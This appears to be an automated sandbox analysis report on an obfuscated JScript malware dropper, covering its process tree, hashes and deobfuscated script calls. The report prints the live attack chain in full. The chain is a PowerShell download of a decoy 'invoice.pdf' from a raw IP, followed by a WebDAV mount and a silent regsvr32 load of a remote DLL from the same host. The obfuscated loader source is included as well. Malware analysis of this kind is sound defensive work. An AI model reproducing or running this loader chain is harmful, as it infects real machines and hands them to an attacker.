Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19877), with CRLF line terminators
Entropy (8bit):	4.89991007891057
TrID:
File name:	1697943393056527466.js
File size:	23'448 bytes
MD5:	2b498e0e52275f12fb61e6f9b52fb1c0
SHA1:	b8a53d45dc639aab0bcc887984410cf154e3068d
SHA256:	6f586b8073c4c10af10e2bbe0932279cff3f69b90769ad00dfe23302a5384851
SHA512:	8a759e9e1e7e72f11da7a6627da7e41cb289c6d3846177ee13de664a2a5bda242107e00765b9638e656ef74d1bbd2bcb6e79788533cdfcfe71a9e304f13bd852
SSDEEP:	384:dvIKedD91Ykdrcqw1q7NkrRAATzi8NIHvuPh3qvGFZ59PZprhX5cP2HArBaPmScD:VA7drfwgkrRA2nHArBaPmSc6yjYLyIgF
TLSH:	15B2D78CDD04C45B56CC29B011E704853BE84ACDCAC6894AF9447B92265AFF39AFD2F3
File Content Preview:	function xwjrkf(){hrqomg=[1031,3079,5127,4103,2055,3072];var dyjwwbrt=this[drvquls+auhzvoo+dmlvoaf+gehxb+uwyrycph+truucd+frkughypc+klkwevn](this[hnwide+vntczkirx+qlrrmwxr+dmlvoaf+cqiacp+drvquls+klkwevn][pgkgxo+dmlvoaf+uwyrycph+auhzvoo+klkwevn+uwyrycph+efx

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	11:12:59
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js"
Imagebase:	0x7ff6dac40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:13:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Imagebase:	0x7ff7360a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:13:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:13:01
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:13:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:13:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7360a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:13:08
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69f280000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:13:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:13:09
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:13:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1624,i,9425132416729305521,13826478321277664541,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xwjrkf() {	xwjrkf() ➔ undefined
1	hrqomg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var dyjwwbrt = this[drvquls + auhzvoo + dmlvoaf + gehxb + uwyrycph + truucd + frkughypc + klkwevn] ( this[hnwide + vntczkirx + qlrrmwxr + dmlvoaf + cqiacp + drvquls + klkwevn][pgkgxo + dmlvoaf + uwyrycph + auhzvoo + klkwevn + uwyrycph + efxuvq + kexdvna + nscbvlcy + uwyrycph + qlrrmwxr + klkwevn] ( hnwide + vntczkirx + qlrrmwxr + dmlvoaf + cqiacp + drvquls + klkwevn + fziamlvua + vntczkirx + cpmxkt + uwyrycph + qukcvfihp + qukcvfihp ) [phwjkhfr + uwyrycph + ylrrrtug + phwjkhfr + uwyrycph + auhzvoo + dzzdv] ( jvesq + lnjlss + fnzzox + atqpe + mglyfa + pgkgxo + fcwoxn + phwjkhfr + phwjkhfr + fnzzox + ftmggsxu + yzuid + mglyfa + fcwoxn + vntczkirx + fnzzox + phwjkhfr + foiqwwhs + pgkgxo + eagjbbnlp + frkughypc + klkwevn + dmlvoaf + eagjbbnlp + qukcvfihp + exxaj + lanmwgdr + auhzvoo + frkughypc + uwyrycph + qukcvfihp + foiqwwhs + truucd + frkughypc + klkwevn + uwyrycph + dmlvoaf + frkughypc + auhzvoo + klkwevn + cqiacp + eagjbbnlp + frkughypc + auhzvoo + qukcvfihp + foiqwwhs + wpiccie + eagjbbnlp + qlrrmwxr + auhzvoo + qukcvfihp + uwyrycph ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ttbnag = 0 ; ttbnag < hrqomg[qukcvfihp + uwyrycph + frkughypc + ylrrrtug + klkwevn + cpmxkt] ; ++ ttbnag )
4	{
5	if ( dyjwwbrt == hrqomg[ttbnag] )
6	{
7	dyjwwbrt = true;
8	break ;
9	}
10	}
11	if ( dyjwwbrt !== true )
12	this[hnwide + vntczkirx + qlrrmwxr + dmlvoaf + cqiacp + drvquls + klkwevn][eqsflk + fwomde + cqiacp + klkwevn] ( );
13	this[hnwide + vntczkirx + qlrrmwxr + dmlvoaf + cqiacp + drvquls + klkwevn][pgkgxo + dmlvoaf + uwyrycph + auhzvoo + klkwevn + uwyrycph + efxuvq + kexdvna + nscbvlcy + uwyrycph + qlrrmwxr + klkwevn] ( hnwide + vntczkirx + qlrrmwxr + dmlvoaf + cqiacp + drvquls + klkwevn + fziamlvua + vntczkirx + cpmxkt + uwyrycph + qukcvfihp + qukcvfihp ) [dmlvoaf + fwomde + frkughypc] ( qlrrmwxr + wkdvme + dzzdv + exxaj + ikcils + qlrrmwxr + exxaj + drvquls + eagjbbnlp + zmhvtlzx + uwyrycph + dmlvoaf + gehxb + cpmxkt + uwyrycph + qukcvfihp + qukcvfihp + fziamlvua + uwyrycph + siqht + uwyrycph + exxaj + mmhsf + pgkgxo + eagjbbnlp + wkdvme + wkdvme + auhzvoo + frkughypc + dzzdv + exxaj + rtzrefn + truucd + frkughypc + iamvmidn + eagjbbnlp + lkabmkm + uwyrycph + mmhsf + hnwide + uwyrycph + kexdvna + phwjkhfr + uwyrycph + nsghdiav + fwomde + uwyrycph + gehxb + klkwevn + exxaj + mmhsf + efxuvq + fwomde + klkwevn + gxrld + cqiacp + qukcvfihp + uwyrycph + exxaj + mjfwhsjr + klkwevn + uwyrycph + wkdvme + drvquls + mjfwhsjr + foiqwwhs + cqiacp + frkughypc + iamvmidn + eagjbbnlp + cqiacp + qlrrmwxr + uwyrycph + fziamlvua + drvquls + dzzdv + vnvswfybx + exxaj + cpmxkt + klkwevn + klkwevn + drvquls + vtjoh + ikcils + ikcils + mwjgkyyac + ozqgbivyj + sskmx + fziamlvua + mwjgkyyac + httlqj + sskmx + fziamlvua + mwjgkyyac + fziamlvua + mylezu + xzdhmbau + slhwb + ikcils + cqiacp + frkughypc + iamvmidn + eagjbbnlp + cqiacp + qlrrmwxr + uwyrycph + fziamlvua + drvquls + cpmxkt + drvquls + rtzrefn + fmjql + fmjql + gehxb + klkwevn + auhzvoo + dmlvoaf + klkwevn + exxaj + mjfwhsjr + klkwevn + uwyrycph + wkdvme + drvquls + mjfwhsjr + foiqwwhs + cqiacp + frkughypc + iamvmidn + eagjbbnlp + cqiacp + qlrrmwxr + uwyrycph + fziamlvua + drvquls + dzzdv + vnvswfybx + fmjql + fmjql + qlrrmwxr + wkdvme + dzzdv + exxaj + ikcils + qlrrmwxr + exxaj + frkughypc + uwyrycph + klkwevn + exxaj + fwomde + gehxb + uwyrycph + exxaj + foiqwwhs + foiqwwhs + mwjgkyyac + ozqgbivyj + sskmx + fziamlvua + mwjgkyyac + httlqj + sskmx + fziamlvua + mwjgkyyac + fziamlvua + mylezu + xzdhmbau + slhwb + qbfzc + zpzwelpfn + zpzwelpfn + zpzwelpfn + zpzwelpfn + foiqwwhs + dzzdv + auhzvoo + iamvmidn + zmhvtlzx + zmhvtlzx + zmhvtlzx + dmlvoaf + eagjbbnlp + eagjbbnlp + klkwevn + foiqwwhs + fmjql + fmjql + qlrrmwxr + wkdvme + dzzdv + exxaj + ikcils + qlrrmwxr + exxaj + dmlvoaf + uwyrycph + ylrrrtug + gehxb + iamvmidn + dmlvoaf + sskmx + mylezu + exxaj + ikcils + gehxb + exxaj + foiqwwhs + foiqwwhs + mwjgkyyac + ozqgbivyj + sskmx + fziamlvua + mwjgkyyac + httlqj + sskmx + fziamlvua + mwjgkyyac + fziamlvua + mylezu + xzdhmbau + slhwb + qbfzc + zpzwelpfn + zpzwelpfn + zpzwelpfn + zpzwelpfn + foiqwwhs + dzzdv + auhzvoo + iamvmidn + zmhvtlzx + zmhvtlzx + zmhvtlzx + dmlvoaf + eagjbbnlp + eagjbbnlp + klkwevn + foiqwwhs + zpzwelpfn + mylezu + avxpgyew + mwjgkyyac + zpzwelpfn + avxpgyew + yvsuumz + avxpgyew + mylezu + mylezu + mylezu + zpzwelpfn + zpzwelpfn + fziamlvua + dzzdv + qukcvfihp + qukcvfihp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll",0,false) ➔ 0
14	}
15	rtzrefn = "m";
16	rtzrefn = "O";
17	rtzrefn = "V";
18	rtzrefn = "G";
19	rtzrefn = "Q";
20	rtzrefn = "R";
21	rtzrefn = "K";
22	rtzrefn = "q";
23	rtzrefn = "W";
24	rtzrefn = "H";
25	rtzrefn = "b";
26	rtzrefn = "N";
27	rtzrefn = "U";
28	rtzrefn = "q";
29	rtzrefn = "C";
30	rtzrefn = "s";
31	rtzrefn = "o";
32	rtzrefn = "p";
33	rtzrefn = "s";
34	rtzrefn = "\"";
35	vntczkirx = "u";
36	vntczkirx = "O";
37	vntczkirx = "d";
38	vntczkirx = "j";
39	vntczkirx = "R";
40	vntczkirx = "I";
41	vntczkirx = "C";
42	vntczkirx = "g";
43	vntczkirx = "z";
44	vntczkirx = "X";
45	vntczkirx = "l";
46	vntczkirx = "J";
47	vntczkirx = "V";
48	vntczkirx = "w";
49	vntczkirx = "R";
50	vntczkirx = "K";
51	vntczkirx = "B";
52	vntczkirx = "Q";
53	vntczkirx = "m";
54	vntczkirx = "P";
55	vntczkirx = "D";
56	vntczkirx = "N";
57	vntczkirx = "b";
58	vntczkirx = "S";
59	avxpgyew = "W";
60	avxpgyew = "u";
61	avxpgyew = "C";
62	avxpgyew = "Z";
63	avxpgyew = "c";
64	avxpgyew = "b";
65	avxpgyew = "Y";
66	avxpgyew = "I";
67	avxpgyew = "Q";
68	avxpgyew = "r";
69	avxpgyew = "X";
70	avxpgyew = "h";
71	avxpgyew = "y";
72	avxpgyew = "P";
73	avxpgyew = "Y";
74	avxpgyew = "u";
75	avxpgyew = "j";
76	avxpgyew = "y";
77	avxpgyew = "t";
78	avxpgyew = "S";
79	avxpgyew = "6";
80	ikcils = "A";
81	ikcils = "P";
82	ikcils = "E";
83	ikcils = "C";
84	ikcils = "v";
85	ikcils = "X";
86	ikcils = "O";
87	ikcils = "A";
88	ikcils = "n";
89	ikcils = "p";
90	ikcils = "p";
91	ikcils = "w";
92	ikcils = "i";
93	ikcils = "w";
94	ikcils = "x";
95	ikcils = "l";
96	ikcils = "y";
97	ikcils = "u";
98	ikcils = "b";
99	ikcils = "G";
100	ikcils = "G";
101	ikcils = "v";
102	ikcils = "k";
103	ikcils = "b";
104	ikcils = "/";
105	sskmx = "q";
106	sskmx = "k";
107	sskmx = "v";
108	sskmx = "o";
109	sskmx = "C";
110	sskmx = "L";
111	sskmx = "D";
112	sskmx = "V";
113	sskmx = "i";
114	sskmx = "Z";
115	sskmx = "g";
116	sskmx = "y";
117	sskmx = "c";
118	sskmx = "z";
119	sskmx = "i";
120	sskmx = "x";
121	sskmx = "G";
122	sskmx = "m";
123	sskmx = "d";
124	sskmx = "N";
125	sskmx = "Y";
126	sskmx = "R";
127	sskmx = "x";
128	sskmx = "A";
129	sskmx = "u";
130	sskmx = "l";
131	sskmx = "P";
132	sskmx = "A";
133	sskmx = "V";
134	sskmx = "W";
135	sskmx = "t";
136	sskmx = "F";
137	sskmx = "Q";
138	sskmx = "g";
139	sskmx = "y";
140	sskmx = "b";
141	sskmx = "f";
142	sskmx = "t";
143	sskmx = "n";
144	sskmx = "u";
145	sskmx = "l";
146	sskmx = "3";
147	fcwoxn = "u";
148	fcwoxn = "V";
149	fcwoxn = "d";
150	fcwoxn = "o";
151	fcwoxn = "L";
152	fcwoxn = "Y";
153	fcwoxn = "o";
154	fcwoxn = "D";
155	fcwoxn = "d";
156	fcwoxn = "x";
157	fcwoxn = "y";
158	fcwoxn = "f";
159	fcwoxn = "S";
160	fcwoxn = "Q";
161	fcwoxn = "M";
162	fcwoxn = "P";
163	fcwoxn = "U";
164	truucd = "x";
165	truucd = "M";
166	truucd = "A";
167	truucd = "f";
168	truucd = "k";
169	truucd = "k";
170	truucd = "j";
171	truucd = "V";
172	truucd = "B";
173	truucd = "F";
174	truucd = "d";
175	truucd = "J";
176	truucd = "S";
177	truucd = "Z";
178	truucd = "j";
179	truucd = "g";
180	truucd = "I";
181	truucd = "n";
182	truucd = "e";
183	truucd = "X";
184	truucd = "a";
185	truucd = "M";
186	truucd = "o";
187	truucd = "y";
188	truucd = "Z";
189	truucd = "O";
190	truucd = "N";
191	truucd = "l";
192	truucd = "A";
193	truucd = "R";
194	truucd = "D";
195	truucd = "x";
196	truucd = "b";
197	truucd = "p";
198	truucd = "v";
199	truucd = "I";
200	truucd = "e";
201	truucd = "C";
202	truucd = "O";
203	truucd = "a";
204	truucd = "h";
205	truucd = "n";
206	truucd = "q";
207	truucd = "d";
208	truucd = "I";
209	mmhsf = "p";
210	mmhsf = "a";
211	mmhsf = "d";
212	mmhsf = "s";
213	mmhsf = "X";
214	mmhsf = "S";
215	mmhsf = "T";
216	mmhsf = "o";
217	mmhsf = "u";
218	mmhsf = "R";
219	mmhsf = "B";
220	mmhsf = "F";
221	mmhsf = "S";
222	mmhsf = "K";
223	mmhsf = "n";
224	mmhsf = "f";
225	mmhsf = "g";
226	mmhsf = "M";
227	mmhsf = "v";
228	mmhsf = "-";
229	mglyfa = "N";
230	mglyfa = "Q";
231	mglyfa = "r";
232	mglyfa = "K";
233	mglyfa = "G";
234	mglyfa = "K";
235	mglyfa = "R";
236	mglyfa = "s";
237	mglyfa = "W";
238	mglyfa = "l";
239	mglyfa = "N";
240	mglyfa = "q";
241	mglyfa = "V";
242	mglyfa = "M";
243	mglyfa = "E";
244	mglyfa = "a";
245	mglyfa = "T";
246	mglyfa = "B";
247	mglyfa = "h";
248	mglyfa = "R";
249	mglyfa = "w";
250	mglyfa = "K";
251	mglyfa = "_";
252	drvquls = "v";
253	drvquls = "i";
254	drvquls = "H";
255	drvquls = "p";
256	drvquls = "z";
257	drvquls = "B";
258	drvquls = "l";
259	drvquls = "p";
260	yvsuumz = "C";
261	yvsuumz = "x";
262	yvsuumz = "X";
263	yvsuumz = "A";
264	yvsuumz = "I";
265	yvsuumz = "u";
266	yvsuumz = "S";
267	yvsuumz = "n";
268	yvsuumz = "T";
269	yvsuumz = "a";
270	yvsuumz = "f";
271	yvsuumz = "c";
272	yvsuumz = "x";
273	yvsuumz = "K";
274	yvsuumz = "h";
275	yvsuumz = "H";
276	yvsuumz = "C";
277	yvsuumz = "R";
278	yvsuumz = "v";
279	yvsuumz = "A";
280	yvsuumz = "R";
281	yvsuumz = "S";
282	yvsuumz = "L";
283	yvsuumz = "P";
284	yvsuumz = "M";
285	yvsuumz = "P";
286	yvsuumz = "X";
287	yvsuumz = "H";
288	yvsuumz = "G";
289	yvsuumz = "7";
290	zmhvtlzx = "m";
291	zmhvtlzx = "Z";
292	zmhvtlzx = "k";
293	zmhvtlzx = "e";
294	zmhvtlzx = "t";
295	zmhvtlzx = "i";
296	zmhvtlzx = "M";
297	zmhvtlzx = "I";
298	zmhvtlzx = "G";
299	zmhvtlzx = "f";
300	zmhvtlzx = "B";
301	zmhvtlzx = "x";
302	zmhvtlzx = "P";
303	zmhvtlzx = "R";
304	zmhvtlzx = "B";
305	zmhvtlzx = "g";
306	zmhvtlzx = "N";
307	zmhvtlzx = "O";
308	zmhvtlzx = "E";
309	zmhvtlzx = "D";
310	zmhvtlzx = "J";
311	zmhvtlzx = "O";
312	zmhvtlzx = "f";
313	zmhvtlzx = "o";
314	zmhvtlzx = "C";
315	zmhvtlzx = "n";
316	zmhvtlzx = "b";
317	zmhvtlzx = "F";
318	zmhvtlzx = "s";
319	zmhvtlzx = "h";
320	zmhvtlzx = "Z";
321	zmhvtlzx = "a";
322	zmhvtlzx = "g";
323	zmhvtlzx = "L";
324	zmhvtlzx = "N";
325	zmhvtlzx = "u";
326	zmhvtlzx = "K";
327	zmhvtlzx = "G";
328	zmhvtlzx = "Y";
329	zmhvtlzx = "z";
330	zmhvtlzx = "i";
331	zmhvtlzx = "w";
332	zmhvtlzx = "S";
333	zmhvtlzx = "w";
334	cpmxkt = "N";
335	cpmxkt = "k";
336	cpmxkt = "g";
337	cpmxkt = "d";
338	cpmxkt = "E";
339	cpmxkt = "S";
340	cpmxkt = "b";
341	cpmxkt = "D";
342	cpmxkt = "L";
343	cpmxkt = "S";
344	cpmxkt = "g";
345	cpmxkt = "X";
346	cpmxkt = "g";
347	cpmxkt = "A";
348	cpmxkt = "B";
349	cpmxkt = "H";
350	cpmxkt = "M";
351	cpmxkt = "c";
352	cpmxkt = "h";
353	mjfwhsjr = "L";
354	mjfwhsjr = "j";
355	mjfwhsjr = "J";
356	mjfwhsjr = "B";
357	mjfwhsjr = "W";
358	mjfwhsjr = "z";
359	mjfwhsjr = "s";
360	mjfwhsjr = "t";
361	mjfwhsjr = "C";
362	mjfwhsjr = "A";
363	mjfwhsjr = "p";
364	mjfwhsjr = "Q";
365	mjfwhsjr = "S";
366	mjfwhsjr = "C";
367	mjfwhsjr = "d";
368	mjfwhsjr = "c";
369	mjfwhsjr = "b";
370	mjfwhsjr = "A";
371	mjfwhsjr = "v";
372	mjfwhsjr = "c";
373	mjfwhsjr = "q";
374	mjfwhsjr = "E";
375	mjfwhsjr = "s";
376	mjfwhsjr = "t";
377	mjfwhsjr = "n";
378	mjfwhsjr = "j";
379	mjfwhsjr = "q";
380	mjfwhsjr = "Q";
381	mjfwhsjr = "M";
382	mjfwhsjr = "I";
383	mjfwhsjr = "b";
384	mjfwhsjr = "E";
385	mjfwhsjr = "o";
386	mjfwhsjr = "i";
387	mjfwhsjr = "c";
388	mjfwhsjr = "i";
389	mjfwhsjr = "V";
390	mjfwhsjr = "n";
391	mjfwhsjr = "d";
392	mjfwhsjr = "m";
393	mjfwhsjr = "%";
394	wkdvme = "x";
395	wkdvme = "j";
396	wkdvme = "d";
397	wkdvme = "X";
398	wkdvme = "D";
399	wkdvme = "Y";
400	wkdvme = "t";
401	wkdvme = "U";
402	wkdvme = "U";
403	wkdvme = "O";
404	wkdvme = "t";
405	wkdvme = "c";
406	wkdvme = "Q";
407	wkdvme = "v";
408	wkdvme = "l";
409	wkdvme = "k";
410	wkdvme = "b";
411	wkdvme = "T";
412	wkdvme = "E";
413	wkdvme = "f";
414	wkdvme = "G";
415	wkdvme = "z";
416	wkdvme = "R";
417	wkdvme = "z";
418	wkdvme = "m";
419	wkdvme = "R";
420	wkdvme = "t";
421	wkdvme = "J";
422	wkdvme = "j";
423	wkdvme = "N";
424	wkdvme = "T";
425	wkdvme = "P";
426	wkdvme = "d";
427	wkdvme = "S";
428	wkdvme = "x";
429	wkdvme = "t";
430	wkdvme = "p";
431	wkdvme = "X";
432	wkdvme = "m";
433	siqht = "a";
434	siqht = "V";
435	siqht = "d";
436	siqht = "h";
437	siqht = "U";
438	siqht = "i";
439	siqht = "L";
440	siqht = "C";
441	siqht = "Q";
442	siqht = "z";
443	siqht = "G";
444	siqht = "G";
445	siqht = "G";
446	siqht = "N";
447	siqht = "I";
448	siqht = "F";
449	siqht = "n";
450	siqht = "V";
451	siqht = "a";
452	siqht = "C";
453	siqht = "t";
454	siqht = "x";
455	auhzvoo = "u";
456	auhzvoo = "o";
457	auhzvoo = "t";
458	auhzvoo = "G";
459	auhzvoo = "l";
460	auhzvoo = "g";
461	auhzvoo = "C";
462	auhzvoo = "k";
463	auhzvoo = "q";
464	auhzvoo = "U";
465	auhzvoo = "H";
466	auhzvoo = "M";
467	auhzvoo = "G";
468	auhzvoo = "F";
469	auhzvoo = "a";
470	auhzvoo = "Y";
471	auhzvoo = "a";
472	hnwide = "p";
473	hnwide = "a";
474	hnwide = "s";
475	hnwide = "l";
476	hnwide = "o";
477	hnwide = "Y";
478	hnwide = "P";
479	hnwide = "p";
480	hnwide = "e";
481	hnwide = "q";
482	hnwide = "d";
483	hnwide = "G";
484	hnwide = "z";
485	hnwide = "V";
486	hnwide = "P";
487	hnwide = "m";
488	hnwide = "v";
489	hnwide = "Y";
490	hnwide = "P";
491	hnwide = "V";
492	hnwide = "D";
493	hnwide = "D";
494	hnwide = "e";
495	hnwide = "y";
496	hnwide = "g";
497	hnwide = "H";
498	hnwide = "F";
499	hnwide = "C";
500	hnwide = "u";
501	hnwide = "K";
502	hnwide = "l";
503	hnwide = "Q";
504	hnwide = "Y";
505	hnwide = "G";
506	hnwide = "J";
507	hnwide = "S";
508	hnwide = "y";
509	hnwide = "W";
510	hnwide = "H";
511	hnwide = "j";
512	hnwide = "P";
513	hnwide = "Q";
514	hnwide = "W";
515	efxuvq = "Y";
516	efxuvq = "p";
517	efxuvq = "V";
518	efxuvq = "g";
519	efxuvq = "k";
520	efxuvq = "z";
521	efxuvq = "y";
522	efxuvq = "d";
523	efxuvq = "S";
524	efxuvq = "F";
525	efxuvq = "o";
526	efxuvq = "k";
527	efxuvq = "T";
528	efxuvq = "w";
529	efxuvq = "Q";
530	efxuvq = "A";
531	efxuvq = "Q";
532	efxuvq = "O";
533	vnvswfybx = "G";
534	vnvswfybx = "t";
535	vnvswfybx = "N";
536	vnvswfybx = "f";
537	vnvswfybx = "m";
538	vnvswfybx = "H";
539	vnvswfybx = "C";
540	vnvswfybx = "L";
541	vnvswfybx = "o";
542	vnvswfybx = "y";
543	vnvswfybx = "E";
544	vnvswfybx = "a";
545	vnvswfybx = "m";
546	vnvswfybx = "K";
547	vnvswfybx = "M";
548	vnvswfybx = "h";
549	vnvswfybx = "p";
550	vnvswfybx = "u";
551	vnvswfybx = "b";
552	vnvswfybx = "S";
553	vnvswfybx = "E";
554	vnvswfybx = "N";
555	vnvswfybx = "I";
556	vnvswfybx = "F";
557	vnvswfybx = "x";
558	vnvswfybx = "U";
559	vnvswfybx = "f";
560	ftmggsxu = "i";
561	ftmggsxu = "V";
562	ftmggsxu = "T";
563	ftmggsxu = "O";
564	ftmggsxu = "Q";
565	ftmggsxu = "J";
566	ftmggsxu = "R";
567	ftmggsxu = "W";
568	ftmggsxu = "A";
569	ftmggsxu = "P";
570	ftmggsxu = "K";
571	ftmggsxu = "p";
572	ftmggsxu = "Z";
573	ftmggsxu = "V";
574	ftmggsxu = "d";
575	ftmggsxu = "o";
576	ftmggsxu = "i";
577	ftmggsxu = "c";
578	ftmggsxu = "m";
579	ftmggsxu = "h";
580	ftmggsxu = "p";
581	ftmggsxu = "H";
582	ftmggsxu = "N";
583	ftmggsxu = "I";
584	ftmggsxu = "V";
585	ftmggsxu = "t";
586	ftmggsxu = "B";
587	ftmggsxu = "U";
588	ftmggsxu = "j";
589	ftmggsxu = "P";
590	ftmggsxu = "F";
591	ftmggsxu = "H";
592	ftmggsxu = "K";
